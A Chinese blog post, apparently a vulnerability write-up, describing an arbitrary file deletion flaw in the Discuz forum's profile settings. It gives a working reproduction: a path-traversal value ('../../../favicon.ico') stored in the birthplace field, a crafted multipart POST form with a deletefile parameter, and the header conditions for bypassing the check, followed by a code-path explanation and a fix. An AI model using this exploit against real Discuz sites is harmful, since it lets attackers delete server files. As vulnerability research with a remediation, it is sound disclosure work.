欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]dz前台可任意删除文件漏洞

[原创]dz前台可任意删除文件漏洞

前提条件: 在根路径下创建favicon.ico此文件进行测试


1. 登陆账号:


2. 在个人中心-设置-个人资料中将出生地址改为../../../favicon.ico




3. 构造一个post请求,并且上传图片(必须是图片)

post页面内容:

<html>

<form action="https://*/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">

<input type="file" name="birthprovince" id="file" />

<input type="text" name="profilesubmit"value="1"/></p>

<input type="submit" value="Submit" />

</form>

</html>




4. 函数执行逻辑

在上传时,调用home_spacecp.php,通过home_spacecp.php调用了

source/include/space/space_profile.php

函数首先对profilesubmit进行校验,



在校验时调用的是helper_form.php(不同版本中,所调用的php不同,绕过验证的条件也不同),在3.2中的校验逻辑如下图,所以构造的post包中的REFERER以及X-FLASH-VERSION两个头必须同时为空



此时space_profile.php继续向下运行,此时函数遍历取出file的属性和值,在构造post包时,我们已将$key设置为birthprovince,而$space中存储的为用户的相关信息


继续运行,发现函数获取图片信息,所以构造post包上传的文件,必须为图片,否则,无法走到unlink函数


保证上传成功后,函数会调用unlink函数,而我们将$key已经构造成birthprovince,而$space在函数一开始时就获取为用户的相关信息



所以此时的$space[$key]为我们在第2步时,所赋值为的../../../favicon.ico

调用unlink成功删除文件

5. ls查看根目录,发现favicon.ico已删除

注:设置页面的所有参数均可造成此影响,并非只有birthprovince

修复方案:将upload/source/include/spacecp/spacecp_profile.php中的@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

此行代码注释掉或删除


注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功